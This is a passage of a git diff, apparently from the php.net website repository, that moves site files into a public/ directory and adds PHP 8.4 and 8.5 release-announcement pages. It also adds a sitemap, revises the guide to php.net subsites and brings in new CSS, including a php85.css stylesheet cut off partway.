    PHP 8.4.22 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.4.22. This is a bug fix release.

    + +

    All PHP 8.4 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.4.22 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + +

    PHP 8.4.23 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.4.23. This is a security release.

    + +

    All PHP 8.4 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.4.23 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + true, 'cache_control' => 30 * 60]); +?> +

    PHP 8.4.24 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.4.24. This is a security release.

    + +

    All PHP 8.4 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.4.24 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + true, 'cache_control' => 30 * 60]); +?> +

    PHP 8.4.25 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.4.25. This is a bug fix release.

    + +

    All PHP 8.4 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.4.25 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + true, 'cache_control' => 30 * 60]); +?> +

    PHP 8.4.26 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.4.26. This is a security release.

    + +

    All PHP 8.4 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.4.26 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + true, 'cache_control' => 30 * 60]); +?> +

    PHP 8.4.27 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.4.27. This is a security release.

    + +

    All PHP 8.4 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.4.27 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    +

    PHP 8.4.3 Release Announcement

    diff --git a/releases/8_4_4.php b/public/releases/8_4_4.php similarity index 92% rename from releases/8_4_4.php rename to public/releases/8_4_4.php index 71646fb84d..6c4c922ac0 100644 --- a/releases/8_4_4.php +++ b/public/releases/8_4_4.php @@ -1,6 +1,6 @@

    PHP 8.4.4 Release Announcement

    diff --git a/releases/8_4_5.php b/public/releases/8_4_5.php similarity index 92% rename from releases/8_4_5.php rename to public/releases/8_4_5.php index 4f30e44070..e39b309ad2 100644 --- a/releases/8_4_5.php +++ b/public/releases/8_4_5.php @@ -1,6 +1,6 @@

    PHP 8.4.5 Release Announcement

    diff --git a/releases/8_4_6.php b/public/releases/8_4_6.php similarity index 92% rename from releases/8_4_6.php rename to public/releases/8_4_6.php index 8be76d8473..786df8ff83 100644 --- a/releases/8_4_6.php +++ b/public/releases/8_4_6.php @@ -1,6 +1,6 @@

    PHP 8.4.6 Release Announcement

    diff --git a/releases/8_4_7.php b/public/releases/8_4_7.php similarity index 92% rename from releases/8_4_7.php rename to public/releases/8_4_7.php index a2bebfd0af..06041461cb 100644 --- a/releases/8_4_7.php +++ b/public/releases/8_4_7.php @@ -1,6 +1,6 @@

    PHP 8.4.7 Release Announcement

    diff --git a/releases/8_4_8.php b/public/releases/8_4_8.php similarity index 92% rename from releases/8_4_8.php rename to public/releases/8_4_8.php index 63f7c9dbca..0d1379ba06 100644 --- a/releases/8_4_8.php +++ b/public/releases/8_4_8.php @@ -1,6 +1,6 @@

    PHP 8.4.8 Release Announcement

    diff --git a/releases/8_5_0.php b/public/releases/8_5_0.php similarity index 95% rename from releases/8_5_0.php rename to public/releases/8_5_0.php index eee873f794..36132a4afc 100644 --- a/releases/8_5_0.php +++ b/public/releases/8_5_0.php @@ -1,6 +1,6 @@

    PHP 8.5.0 Release Announcement

    diff --git a/releases/8_5_1.php b/public/releases/8_5_1.php similarity index 92% rename from releases/8_5_1.php rename to public/releases/8_5_1.php index 6f32a19afd..8adbdf3b9a 100644 --- a/releases/8_5_1.php +++ b/public/releases/8_5_1.php @@ -1,6 +1,6 @@

    PHP 8.5.1 Release Announcement

    diff --git a/public/releases/8_5_10.php b/public/releases/8_5_10.php new file mode 100644 index 0000000000..b030bff60d --- /dev/null +++ b/public/releases/8_5_10.php @@ -0,0 +1,16 @@ + true, 'cache_control' => 30 * 60]); +?> +

    PHP 8.5.10 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.5.10. This is a bug fix release.

    + +

    All PHP 8.5 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.5.10 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + true, 'cache_control' => 30 * 60]); +?> +

    PHP 8.5.11 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.5.11. This is a security release.

    + +

    All PHP 8.5 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.5.11 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + true, 'cache_control' => 30 * 60]); +?> +

    PHP 8.5.12 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.5.12. This is a security release.

    + +

    All PHP 8.5 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.5.12 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    +

    PHP 8.5.2 Release Announcement

    diff --git a/releases/8_5_3.php b/public/releases/8_5_3.php similarity index 92% rename from releases/8_5_3.php rename to public/releases/8_5_3.php index d0d9457ebe..a826cb4094 100644 --- a/releases/8_5_3.php +++ b/public/releases/8_5_3.php @@ -1,6 +1,6 @@

    PHP 8.5.3 Release Announcement

    diff --git a/public/releases/8_5_4.php b/public/releases/8_5_4.php new file mode 100644 index 0000000000..9cf58d89ca --- /dev/null +++ b/public/releases/8_5_4.php @@ -0,0 +1,16 @@ + +

    PHP 8.5.4 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.5.4. This is a bug fix release.

    + +

    All PHP 8.5 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.5.4 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + +

    PHP 8.5.5 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.5.5. This is a bug fix release.

    + +

    All PHP 8.5 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.5.5 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + +

    PHP 8.5.6 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.5.6. This is a security release.

    + +

    All PHP 8.5 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.5.6 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + +

    PHP 8.5.7 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.5.7. This is a bug fix release.

    + +

    All PHP 8.5 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.5.7 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + +

    PHP 8.5.8 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.5.8. This is a security release.

    + +

    All PHP 8.5 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.5.8 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + +

    PHP 8.5.9 Release Announcement

    + +

    The PHP development team announces the immediate availability of PHP 8.5.9. This is a security release.

    + +

    All PHP 8.5 users are encouraged to upgrade to this version.

    + +

    For source downloads of PHP 8.5.9 please visit our downloads page, +Windows source and binaries can also be found there. +The list of changes is recorded in the ChangeLog. +

    + @@ -30,7 +30,7 @@ if ($release["announcement"]) { $id = "http://php.net/releases/" . str_replace(".", "_", $version) . ".php"; } else { - $id = "http://qa.php.net/#$version"; + $id = "https://qa.php.net/#$version"; } echo << 'downloads', 'css' => '/styles/releases.css', + 'cache_control' => 60 * 60, // 60 minutes ]); echo "

    Unsupported Historical Releases

    \n\n"; @@ -140,7 +143,7 @@

    @@ -218,13 +221,8 @@ function mk_rel(int $major, echo "
  • \n"; if (isset($src['filename'])) { download_link($src["filename"], $src["name"]); echo "
    \n"; - $linebreak = ''; - foreach (['md5', 'sha256'] as $cs) { - if (isset($src[$cs])) { - echo $linebreak; - echo "{$cs}: {$src[$cs]}\n"; - $linebreak = "
    "; - } + if (isset($src['sha256'])) { + echo sha256_html($src['sha256']), "\n"; } } else { echo "{$src['name']}"; @@ -237,11 +235,11 @@ function mk_rel(int $major, if (!isset($src["filename"])) { continue; } - printf('
  • %s
  • ', + printf('
  • %s
  • ', $major, $src["filename"], $src["name"]); } foreach ($windows as $src) { - printf('
  • %s
  • ', + printf('
  • %s
  • ', ($major == 5 ? "php5" : "win32"), $src["filename"], $src["name"]); } } diff --git a/releases/states.php b/public/releases/states.php similarity index 86% rename from releases/states.php rename to public/releases/states.php index 3622b07399..b3422deb1a 100644 --- a/releases/states.php +++ b/public/releases/states.php @@ -3,10 +3,12 @@ # Please use /releases/branches.php instead. # This API *may* be removed at an indeterminate point in the future. +use phpweb\ProjectGlobals; + $_SERVER['BASE_PAGE'] = 'releases/active.php'; -include_once __DIR__ . '/../include/prepend.inc'; -include_once $_SERVER['DOCUMENT_ROOT'] . '/include/branches.inc'; +require_once __DIR__ . '/../../include/prepend.inc'; +require_once ProjectGlobals::getProjectRoot() . '/include/branches.inc'; header('Content-Type: application/json; charset=UTF-8'); diff --git a/results.php b/public/results.php similarity index 91% rename from results.php rename to public/results.php index 6cde699a26..b2225d49b6 100644 --- a/results.php +++ b/public/results.php @@ -1,7 +1,7 @@ "docs"]); ?> diff --git a/sitemap.php b/public/sitemap.php similarity index 98% rename from sitemap.php rename to public/sitemap.php index 8e7831ad40..ebd5765417 100644 --- a/sitemap.php +++ b/public/sitemap.php @@ -1,6 +1,6 @@ "help"]); ?> diff --git a/public/sitemap.xml b/public/sitemap.xml new file mode 100644 index 0000000000..3066676a51 --- /dev/null +++ b/public/sitemap.xml @@ -0,0 +1,145 @@ + + + + https://www.php.net/ + + + https://www.php.net/ChangeLog-4.php + never + + + https://www.php.net/ChangeLog-5.php + + + https://www.php.net/ChangeLog-7.php + + + https://www.php.net/ChangeLog-8.php + + + https://www.php.net/archive/ + + + https://www.php.net/build-setup.php + + + https://www.php.net/cal.php + + + https://www.php.net/conferences/ + + + https://www.php.net/contact.php + + + https://www.php.net/copyright.php + + + https://www.php.net/credits.php + + + https://www.php.net/docs.php + + + https://www.php.net/download-docs.php + + + https://www.php.net/download-logos.php + + + https://www.php.net/downloads-get-instructions.php + + + https://www.php.net/downloads.php + + + https://www.php.net/elephpant.php + + + https://www.php.net/eol.php + + + https://www.php.net/get-involved.php + + + https://www.php.net/git-php.php + + + https://www.php.net/git.php + + + https://www.php.net/gpg-keys.php + + + https://www.php.net/license/ + + + https://www.php.net/mailing-lists.php + + + https://www.php.net/manual/ + + + https://www.php.net/menu.php + + + https://www.php.net/mirror-info.php + + + https://www.php.net/mirror.php + + + https://www.php.net/mirroring-troubles.php + + + https://www.php.net/mirroring.php + + + https://www.php.net/mirrors.php + + + https://www.php.net/my.php + + + https://www.php.net/pear/ + + + https://www.php.net/pre-release-builds.php + + + https://www.php.net/privacy.php + + + https://www.php.net/releases/ + + + https://www.php.net/security-note.php + + + https://www.php.net/sitemap.php + + + https://www.php.net/sites.php + + + https://www.php.net/software.php + + + https://www.php.net/submit-event.php + + + https://www.php.net/support.php + + + https://www.php.net/supported-versions.php + + + https://www.php.net/thanks.php + + + https://www.php.net/unsub.php + + + https://www.php.net/urlhowto.php + + diff --git a/sites.php b/public/sites.php similarity index 65% rename from sites.php rename to public/sites.php index 65dd26dfa7..3df61aee35 100644 --- a/sites.php +++ b/public/sites.php @@ -1,32 +1,31 @@ "help"]); ?>

    PHP.net: A Tourist's Guide

    - Everyone knows the php.net site. All of us went there sooner or later, + Everyone knows the www.php.net site. All of us went there sooner or later, and will keep going back there. This is the central reference point for PHP users, and there is a wealth of information there. Not all of it is obvious. Come with me, I'll show you.

    -

    php.net: Main Website

    +

    php.net: Main Website

    This is the primary web site. The front page is where major news is published: - new PHP versions, security updates, and new projects launched. This site is - also mirrored in dozens of countries worldwide. + new PHP versions, security updates, and new projects launched.

    This is the home of the download page, for everyone to get the latest version of the PHP source code and binaries for Windows. The current and next-to-current versions are available there. - (There is also a PHP Museum, which has - all of the source distributions since June 1996.) + (There is also a PHP Museum, which has + all of the source distributions since June 1996).

    @@ -52,7 +51,7 @@

    - talks.php.net: Conference Materials + talks.php.net: Conference Materials

    @@ -75,39 +74,22 @@ lists.

    -

    - pear.php.net: - The PHP Extension and Application Repository +

    + packagist.org: The PHP Package Repository

    - PEAR is the next revolution in PHP. This repository is bringing higher level - programming to PHP. PEAR is a framework and distribution system for reusable - PHP components. It eases installation by bringing an automated wizard, and - packing the strength and experience of PHP users into a nicely organised OOP - library. + This repository is bringing higher level programming to PHP. Packagist is a + distribution system for reusable PHP code and packages. It eases installation + by utilising a command line tool, Composer to bring the strength and + experience of PHP users into a wealth of installable packages.

    -

    - pecl.php.net: - The PHP Extension Community Library -

    - -

    - PECL is a repository for PHP Extensions, providing a directory of all known - extensions and hosting facilities for downloading and development of PHP - extensions.
    - - The packaging and distribution system used by PECL is shared with - its sister, PEAR. -

    - -

    bugs.php.net: Bug Database

    -

    - The bug database is where you can bring problems with PHP to the attention of - developers (but don't forget to double-check that somebody else hasn't already - reported the same problem!). + In addition, Packagist also contains a repository for PHP Extensions. These + can be installed with a similar tool, + PIE.

    doc.php.net: Documentation Tools

    @@ -128,10 +110,6 @@ interface to it. There you can browse the history (and latest versions) of the the repository for the source code to the latest version of PHP itself. Checking out the source code can be done anonymously.

    -

    - Using OpenGrok is another option to view the - source code, and it offers additional features like search and cross referencing. -

    wiki.php.net: The PHP Wiki

    @@ -142,13 +120,6 @@ interface to it. There you can browse the history (and latest versions) of the has a wiki section and everyone is able to apply for wiki commit access.

    -

    windows.php.net: PHP for Windows

    - -

    - This site is dedicated to supporting PHP on Microsoft Windows. - It also supports ports of PHP extensions or features as well as providing special builds for the various Windows architectures. -

    -

    people.php.net: The PHP Developers Profiles

    @@ -162,13 +133,11 @@ interface to it. There you can browse the history (and latest versions) of the

    Main Website

    Conference Materials

    Mailing Lists Web and NNTP Interface

    -

    The PHP Extension and Application Repository

    -

    The PHP Extension Community Library

    +

    PHP Package Repository

    Bug Database

    Documentation collaboration

    Git Repository

    The PHP Wiki -

    PHP for Windows

    The PHP Developers Profiles SIDEBAR_DATA; diff --git a/software.php b/public/software.php similarity index 89% rename from software.php rename to public/software.php index d608236248..84c03fa743 100644 --- a/software.php +++ b/public/software.php @@ -1,6 +1,6 @@ "help"]); ?> @@ -8,7 +8,7 @@

    This page contains a list of sites where you can find software distributed - under the PHP license. + under the PHP license.

    diff --git a/styles/add-note.css b/public/styles/add-note.css similarity index 100% rename from styles/add-note.css rename to public/styles/add-note.css diff --git a/styles/calendar.css b/public/styles/calendar.css similarity index 100% rename from styles/calendar.css rename to public/styles/calendar.css diff --git a/styles/changelog.css b/public/styles/changelog.css similarity index 100% rename from styles/changelog.css rename to public/styles/changelog.css diff --git a/styles/code-syntax.css b/public/styles/code-syntax.css similarity index 87% rename from styles/code-syntax.css rename to public/styles/code-syntax.css index 4f9e73177a..e303671312 100644 --- a/styles/code-syntax.css +++ b/public/styles/code-syntax.css @@ -96,3 +96,21 @@ button.copy-to-clipboard-button:hover { .instructions .sha256 { word-break: break-all; } + +.instructions .sbom:before { + content: "SBOM: "; + font-family: var(--font-family-sans-serif); +} + +.instructions .sha256:before, +.instructions .sbom:before { + font-weight: 700; +} + +.content-box .code-toolbar { + margin: 0 0 1rem; +} + +.content-box .code-toolbar pre.small { + padding: 0.75rem; +} diff --git a/styles/credits.css b/public/styles/credits.css similarity index 100% rename from styles/credits.css rename to public/styles/credits.css diff --git a/styles/cse-search.css b/public/styles/cse-search.css similarity index 100% rename from styles/cse-search.css rename to public/styles/cse-search.css diff --git a/styles/home.css b/public/styles/home.css similarity index 77% rename from styles/home.css rename to public/styles/home.css index 2edf051d5f..f0ad7fe335 100644 --- a/styles/home.css +++ b/public/styles/home.css @@ -90,22 +90,22 @@ } .hero__versions a.notes { - font-size:.875rem; - white-space:nowrap; + font-size: .875rem; + white-space: nowrap; } .hero__versions a { color: var(--background-text-color); - border:0; + border: 0; } .hero__versions a:hover, .hero__versions a:focus { - border-bottom:1px dotted; + border-bottom: 1px dotted; } .hero__version-link { - color:#fff !important; + color: #fff !important; display: inline-block; } @@ -151,11 +151,12 @@ /* Layout */ #layout-content { - border-right:.25rem solid #666; + border-right: .25rem solid #666; } + .home .newsentry .newstitle a:after { - content:"\20 \00bb"; - color:#666; + content: "\20 \00bb"; + color: #666; } p.archive { @@ -180,7 +181,7 @@ p.archive { } #layout-content { - width:70%; + width: 70%; } } @@ -216,3 +217,41 @@ aside.tips .social-media .icon-twitter { background-color: var(--dark-magenta-color) !important; border-color: var(--dark-magenta-color) !important; } + +/* Conference pages */ +.conference-views { + display: flex; + justify-content: flex-end; + gap: 1.5rem; + margin: 0 0 1.5rem; + border-bottom: 1px solid #ccc; +} + +.conference-views .conference-view { + padding: .5rem .25rem; + margin-bottom: -1px; + border-bottom: 3px solid transparent; + color: #666; + text-decoration: none; +} + +.conference-views .conference-view.is-active { + border-bottom-color: var(--dark-blue-color); + color: var(--dark-grey-color); + font-weight: 600; +} + +.newsentry .newsdate { + margin: -.75rem 0 .75rem; + color: #666; + font-size: .75rem; + font-weight: 600; + letter-spacing: .04em; + text-transform: uppercase; +} + +h2.conferences-divider { + margin-top: 2rem; + padding-top: 1rem; + border-top: 1px solid #ccc; +} \ No newline at end of file diff --git a/styles/index.php b/public/styles/index.php similarity index 56% rename from styles/index.php rename to public/styles/index.php index c7f1a320c3..a5fbd0bb5d 100644 --- a/styles/index.php +++ b/public/styles/index.php @@ -2,5 +2,5 @@ // Simulate a /styles shortcut call (which will lead to a manual page) $_SERVER['REQUEST_URI'] = '/styles'; -include_once __DIR__ . '/../include/prepend.inc'; -include_once __DIR__ . '/../error.php'; +require_once __DIR__ . '/../include/prepend.inc'; +require_once __DIR__ . '/../error.php'; diff --git a/styles/mirror.css b/public/styles/mirror.css similarity index 100% rename from styles/mirror.css rename to public/styles/mirror.css diff --git a/public/styles/php85.css b/public/styles/php85.css new file mode 100644 index 0000000000..6122fbb536 --- /dev/null +++ b/public/styles/php85.css @@ -0,0 +1,2279 @@ +.php85 #layout { + margin: 0; +} + +.php85 #layout-content { + background: initial; + padding: 0; + color: inherit; +} + +.php85 #intro .container, +.php85 #breadcrumbs-inner, +.php85 #goto div, +.php85 #trick div, +.php85 #layout { + width: auto; +} + +.php85 h1, +.php85 h2, +.php85 h3, +.php85 h4, +.php85 h5, +.php85 h6 { + color: inherit; +} + +.php85 header.title, +.php85 h1:after, +.php85 h2:after, +.php85 h3:after { + display: none; +} + +.php85 a { + border: 0; +} + +.php85 ul { + list-style: none; + padding: 0; + margin: 0; +} + +.php85 .navbar .navbar__nav { + margin: 0; + margin-left: 24px; +} + +.php85 #layout-content a:link, +.php85 #layout-content a:visited { + color: inherit; +} + +.php85 .headsup { + height: auto; + z-index: 11; + position: relative; +} + +:not(pre) > code[class*=language-], pre[class*=language-] { + background: transparent; +} + +code[class*=language-], pre[class*=language-] { + text-shadow: none; +} + +.language-css .token.string, .style .token.string, .token.entity, .token.operator, .token.url { + background: transparent; +} + +.js-copy-code { + +} + +.features-title h2, +.release-notes h2, +.before-and-after-title-and-description h2 { + position: relative; + overflow: visible; + display: inline-block; +} + +.features-title h2 .genanchor, +.release-notes h2 .genanchor, +.before-and-after-title-and-description h2 .genanchor { + position: absolute; + top: 4px; + left: 0; + display: none; + margin-left: -30px; + height: 30px; + width: 30px; + background: url("/images/php8/anchor.svg") scroll no-repeat left center / 21px 16px transparent; + text-decoration: none; + border-bottom: none; + font-size: 0; +} + +.dark .features-title h2 .genanchor, +.dark .release-notes h2 .genanchor, +.dark .before-and-after-title-and-description h2 .genanchor { + background: url("/images/php8/anchor-white.svg") scroll no-repeat left center / 21px 16px transparent; +} + +.features-title h2:hover .genanchor, +.release-notes h2:hover .genanchor, +.before-and-after-title-and-description h2:hover .genanchor { + display: block; +} + +@layer properties { + @supports (((-webkit-hyphens:none)) and (not (margin-trim:inline))) or ((-moz-orient:inline) and (not (color:rgb(from red r g b)))) { + *, :before, :after, ::backdrop { + --tw-shadow: 0 0 #0000; + --tw-inset-shadow: 0 0 #0000; + --tw-ring-color: initial; + --tw-ring-shadow: 0 0 #0000; + --tw-inset-ring-shadow: 0 0 #0000; + --tw-ring-inset: initial; + --tw-ring-offset-width: 0px; + --tw-ring-offset-shadow: 0 0 #0000; + --tw-border-style: solid; + --tw-outline-style: solid; + --tw-leading: initial; + --tw-space-y-reverse: 0; + --tw-space-x-reverse: 0; + } + } +} + +@layer theme { + :root, :host { + --font-sans: ui-sans-serif, system-ui, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; + --font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; + --color-red-200: oklch(88.5% .062 18.334); + --color-red-400: oklch(70.4% .191 22.216); + --color-red-900: oklch(39.6% .141 25.723); + --color-green-200: oklch(92.5% .084 155.995); + --color-green-400: oklch(79.2% .209 151.711); + --color-green-500: oklch(72.3% .219 149.579); + --color-green-900: oklch(39.3% .095 152.535); + --color-teal-300: oklch(85.5% .138 181.071); + --color-teal-400: oklch(77.7% .152 181.912); + --color-gray-100: var(--color-zinc-100); + --color-gray-200: var(--color-zinc-200); + --color-gray-300: var(--color-zinc-300); + --color-gray-400: var(--color-zinc-400); + --color-gray-500: var(--color-zinc-500); + --color-gray-600: var(--color-zinc-600); + --color-gray-700: var(--color-zinc-700); + --color-gray-800: var(--color-zinc-800); + --color-gray-900: var(--color-zinc-900); + --color-gray-950: var(--color-zinc-950); + --color-zinc-50: oklch(98.5% 0 0); + --color-zinc-100: oklch(96.7% .001 286.375); + --color-zinc-200: oklch(92% .004 286.32); + --color-zinc-300: oklch(87.1% .006 286.286); + --color-zinc-400: oklch(70.5% .015 286.067); + --color-zinc-500: oklch(55.2% .016 285.938); + --color-zinc-600: oklch(44.2% .017 285.786); + --color-zinc-700: oklch(37% .013 285.805); + --color-zinc-800: oklch(27.4% .006 286.033); + --color-zinc-900: oklch(21% .006 285.885); + --color-zinc-950: oklch(14.1% .005 285.823); + --color-black: #000; + --color-white: #fff; + --spacing: .25rem; + --container-2xl: 42rem; + --container-3xl: 48rem; + --container-4xl: 56rem; + --container-7xl: 80rem; + --text-xs: .75rem; + --text-xs--line-height: calc(1 / .75); + --text-sm: .875rem; + --text-sm--line-height: calc(1.25 / .875); + --text-base: 1rem; + --text-base--line-height: calc(1.5 / 1); + --text-lg: 1.125rem; + --text-lg--line-height: calc(1.75 / 1.125); + --text-xl: 1.25rem; + --text-xl--line-height: calc(1.75 / 1.25); + --text-2xl: 1.5rem; + --text-2xl--line-height: calc(2 / 1.5); + --text-3xl: 1.875rem; + --text-3xl--line-height: calc(2.25 / 1.875); + --text-4xl: 2.25rem; + --text-4xl--line-height: calc(2.5 / 2.25); + --text-5xl: 3rem; + --text-5xl--line-height: 1; + --font-weight-normal: 400; + --font-weight-medium: 500; + --font-weight-semibold: 600; + --font-weight-bold: 700; + --leading-relaxed: 1.625; + --radius-md: .375rem; + --radius-lg: .5rem; + --radius-xl: .75rem; + --radius-2xl: 1rem; + --radius-3xl: 1.5rem; + --radius-4xl: 2rem; + } +} + +@layer base { + *, :after, :before, ::backdrop { + box-sizing: border-box; + border: 0 solid; + margin: 0; + padding: 0 + } + + ::file-selector-button { + box-sizing: border-box; + border: 0 solid; + margin: 0; + padding: 0 + } + + html, :host { + -webkit-text-size-adjust: 100%; + tab-size: 4; + line-height: 1.5; + font-family: var(--font-sans, ui-sans-serif, system-ui, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"); + -webkit-tap-highlight-color: transparent + } + + hr { + height: 0; + color: inherit; + border-top-width: 1px + } + + abbr:where([title]) { + text-decoration: underline dotted + } + + h1, h2, h3, h4, h5, h6 { + font-size: inherit; + font-weight: inherit + } + + a { + color: inherit; + text-decoration: inherit + } + + b, strong { + font-weight: bolder + } + + code, kbd, samp, pre { + font-family: var(--font-mono, ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace); + font-size: 1em + } + + small { + font-size: 80% + } + + sub, sup { + vertical-align: baseline; + font-size: 75%; + line-height: 0; + position: relative + } + + sub { + bottom: -.25em + } + + sup { + top: -.5em + } + + table { + text-indent: 0; + border-color: inherit; + border-collapse: collapse + } + + :-moz-focusring { + outline: auto + } + + progress { + vertical-align: baseline + } + + summary { + display: list-item + } + + ol, ul, menu { + list-style: none + } + + img, svg, video, canvas, audio, iframe, embed, object { + vertical-align: middle; + display: block + } + + img, video { + max-width: 100%; + height: auto + } + + button, input, select, optgroup, textarea { + font: inherit; + font-feature-settings: inherit; + font-variation-settings: inherit; + letter-spacing: inherit; + color: inherit; + opacity: 1; + background-color: #0000; + border-radius: 0 + } + + ::file-selector-button { + font: inherit; + font-feature-settings: inherit; + font-variation-settings: inherit; + letter-spacing: inherit; + color: inherit; + opacity: 1; + background-color: #0000; + border-radius: 0 + } + + :where(select:is([multiple],[size])) optgroup { + font-weight: bolder + } + + :where(select:is([multiple],[size])) optgroup option { + padding-inline-start: 20px + } + + ::file-selector-button { + margin-inline-end: 4px + } + + + button, input:where([type=button],[type=reset],[type=submit]) { + appearance: button + } + + ::file-selector-button { + appearance: button + } + + + [hidden]:where(:not([hidden=until-found])) { + display: none !important + } +} + +@layer utilities { + .sr-only { + clip-path: inset(50%); + white-space: nowrap; + border-width: 0; + width: 1px; + height: 1px; + margin: -1px; + padding: 0; + position: absolute; + overflow: hidden + } +} + +body { + background-color: var(--color-white); + font-family: var(--font-sans); + color: var(--color-gray-800); + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; + position: relative +} + +body:where(.dark,.dark *) { + color: var(--color-white); + background-color: #181d3a +} + +a { + text-underline-offset: 2px; + text-decoration-line: underline +} + +@media (hover: hover) { + a:hover { + text-decoration-line: none + } +} + +.hero { + position: relative; + isolation: isolate; + z-index: 10; + margin-top: calc(var(--spacing) * -4); + display: flex; + height: calc(var(--spacing) * 160); + align-items: center; + justify-content: center; + overflow: hidden; + @media (width >= 64rem) { + margin-top: calc(var(--spacing) * -16); + } + @media (width >= 64rem) { + padding-top: calc(var(--spacing) * 16); + } +} + +.hero-pattern { + pointer-events: none; + top: calc(var(--spacing) * .5); + z-index: calc(10 * -1); + width: 100%; + height: calc(var(--spacing) * 150); + stroke: #18181b1a; + position: absolute; + -webkit-mask-image: linear-gradient(#ffffffad, #0000); + mask-image: linear-gradient(#ffffffad, #0000) +} + +.hero-pattern:where(.dark,.dark *) { + stroke: #ffffff1a +} + +@supports (color:color-mix(in lab, red, red)) { + .hero-pattern { + stroke: color-mix(in oklab, var(--color-gray-900) 10%, transparent) + } + .hero-pattern:where(.dark,.dark *) { + stroke: color-mix(in oklab, var(--color-white) 10%, transparent) + } +} + +.hero-content { + max-width: var(--container-4xl); + background-image: radial-gradient(at 50% 50%, var(--color-white), transparent 65%); + padding-inline: calc(var(--spacing) * 4); + text-align: center; + margin-inline: auto; + width: 100%; +} + +@media (min-width: 40rem) { + .hero-content { + padding-inline: calc(var(--spacing) * 6) + } +} + +@media (min-width: 64rem) { + .hero-content { + padding-inline: calc(var(--spacing) * 8) + } +} + +.hero-content:where(.dark,.dark *) { + background-image: radial-gradient(at 50% 50%, #181d3a, transparent 65%) +} + +.hero .hero-bg { + pointer-events: none; + inset: 0; + z-index: calc(10 * -1); + overflow: hidden; + opacity: .35; + container-type: size; + -webkit-user-select: none; + user-select: none; + position: absolute +} + +/* + * Each orb is a square the size of the larger hero dimension, centered in the hero + * (equivalent to an SVG viewBox with preserveAspectRatio="xMidYMid slice"). + * The gradients are static images, so the browser only has to rasterize them once. + * The x/y/rotate animations are applied to nested HTML elements and only change + * transform, so they can run on the compositor instead of repainting every frame. + */ +.hero-orb { + position: absolute; + top: 50%; + left: 50%; + width: max(100cqw, 100cqh); + aspect-ratio: 1; + translate: -50% -50% +} + +.hero-orb div { + width: 100%; + height: 100%; + background-size: 100% 100% +} + +.hero-orb-1-r { + background-image: url("data:image/svg+xml,") +} + +.hero-orb-2-r { + background-image: url("data:image/svg+xml,") +} + +.hero-orb-3-r { + background-image: url("data:image/svg+xml,") +} + +.hero-orb-1-x { animation: hero-orb1-x 10s linear infinite alternate } +.hero-orb-1-y { animation: hero-orb1-y 10.5s linear infinite alternate } +.hero-orb-1-r { animation: hero-orb-rotate-fwd 7s linear infinite } + +.hero-orb-2-x { animation: hero-orb2-x 11.5s linear infinite alternate } +.hero-orb-2-y { animation: hero-orb2-y 12s linear infinite alternate } +.hero-orb-2-r { animation: hero-orb-rotate-fwd 12s linear infinite } + +.hero-orb-3-x { animation: hero-orb3-x 12.5s linear infinite alternate } +.hero-orb-3-y { animation: hero-orb3-y 6s linear infinite alternate } +.hero-orb-3-r { animation: hero-orb-rotate-rev 9s linear infinite } + +@keyframes hero-orb1-x { from { transform: translateX(25%) } to { transform: translateX(0%) } } +@keyframes hero-orb1-y { from { transform: translateY(0%) } to { transform: translateY(25%) } } +@keyframes hero-orb2-x { from { transform: translateX(-25%) } to { transform: 